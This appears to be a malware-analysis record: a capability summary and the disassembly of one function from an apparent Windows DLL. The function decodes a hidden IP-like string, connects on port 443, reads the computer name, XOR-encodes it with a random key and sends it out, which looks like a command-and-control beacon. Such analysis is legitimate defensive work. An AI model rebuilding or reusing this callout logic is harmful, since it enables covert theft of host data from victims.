Function at 0x10001700
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Get hostname

Disassembly:
sub esp, 0x478
push ebx
mov bl, 0x31
mov al, 0x2e
mov cl, 0x32
push esi
mov byte [esp + 0x2c], bl
mov byte [esp + 0x38], bl
push edi
mov byte [esp + 0x33], al
mov byte [esp + 0x34], cl
mov byte [esp + 0x37], al
mov byte [esp + 0x38], cl
mov byte [esp + 0x3b], al
xor ebx, ebx
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x41]
mov byte [esp + 0x40], bl
rep stosd dword es:[edi], eax
mov ecx, 0xff
lea edi, [esp + 0x85]
mov byte [esp + 0x84], bl
mov dl, 0x33
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov cl, 0x25
mov al, 0x73
mov byte [esp + 0x32], dl
mov byte [esp + 0x39], dl
mov byte [esp + 0x24], cl
mov byte [esp + 0x25], al
mov byte [esp + 0x28], cl
mov byte [esp + 0x29], al
mov byte [esp + 0x2b], cl
mov byte [esp + 0x2c], al
mov al, 0x24
mov dl, 0xc6
mov cl, 0x44
push 0x1bb
mov byte [esp + 0x35], 0x37
mov byte [esp + 0x39], 0x30
mov byte [esp + 0x3a], 0x38
mov byte [esp + 0x3e], 0x34
mov byte [esp + 0x41], 0x39
mov byte [esp + 0x42], 0x36
mov byte [esp + 0x43], bl
mov byte [esp + 0x2a], 0x20
mov byte [esp + 0x2b], 0x28
mov byte [esp + 0x2e], 0x5c
mov byte [esp + 0x31], 0x29
mov byte [esp + 0x32], bl
mov dword [esp + 0x10], 0x40
mov byte [esp + 0x14], 0x76
mov byte [esp + 0x15], 6
mov byte [esp + 0x16], 0x88
mov byte [esp + 0x17], 0x54
mov byte [esp + 0x18], al
mov byte [esp + 0x19], 0x77
mov byte [esp + 0x1a], dl
mov byte [esp + 0x1b], cl
mov byte [esp + 0x1c], al
mov byte [esp + 0x1d], 0x78
mov byte [esp + 0x1e], 0x3b
mov byte [esp + 0x1f], dl
mov byte [esp + 0x20], cl
mov byte [esp + 0x21], al
mov byte [esp + 0x22], 0x79
mov byte [esp + 0x23], 0x91
call dword [sym.imp.WS2_32.dll_htons]
push eax
lea eax, [esp + 0x34]
push eax
call fcn.100014b0
add esp, 4
push eax
call fcn.100014e0
mov esi, eax
add esp, 8
cmp esi, ebx
jne 0x10001842
pop edi
pop esi
or eax, 0xffffffff
pop ebx
add esp, 0x478
ret
lea ecx, [esp + 0xc]
lea edx, [esp + 0x40]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp esi, ebx
mov dword [esp + 0xc], ebx
jbe 0x1000186c
call fcn.1000294c
mov eax, dword [esp + 0xc]
inc eax
cmp eax, esi
mov dword [esp + 0xc], eax
jb 0x1000185a
mov dword [esp + 0xc], ebx
call fcn.1000294c
mov ecx, eax
and ecx, 0x800000ff
jns 0x10001887
dec ecx
or ecx, 0xffffff00
inc ecx
mov eax, dword [esp + 0xc]
mov byte [esp + eax + 0x84], cl
inc eax
cmp eax, 0x80
mov dword [esp + 0xc], eax
jb 0x10001870
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
mov dword [esp + 0xa4], edx
mov edx, dword [esp + 0x1c]
mov dword [esp + 0xa8], eax
mov eax, dword [esp + 0x48c]
mov dword [esp + 0xac], ecx
mov ecx, dword [esp + 0x488]
mov dword [esp + 0xb0], edx
push eax
lea edx, [esp + 0x44]
push ecx
lea eax, [esp + 0x2c]
push edx
push eax
lea ecx, [esp + 0xc4]
push 0x40
push ecx
call fcn.100028ba
add esp, 0x18
xor eax, eax
mov dl, byte [esp + eax + 0x84]
mov bl, byte [esp + eax + 0xb4]
xor bl, dl
mov byte [esp + eax + 0xb4], bl
inc eax
cmp eax, 0x40
jb 0x100018f8
mov dword [esp + 0xc], eax
lea eax, [esp + 0x84]
push 0x80
push eax
push esi
call fcn.100015a0
push 0x1f40
lea ecx, [esp + 0x94]
push 0x200
push ecx
push esi
call fcn.10001620
push esi
call fcn.10001560
add esp, 0x20
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x478
ret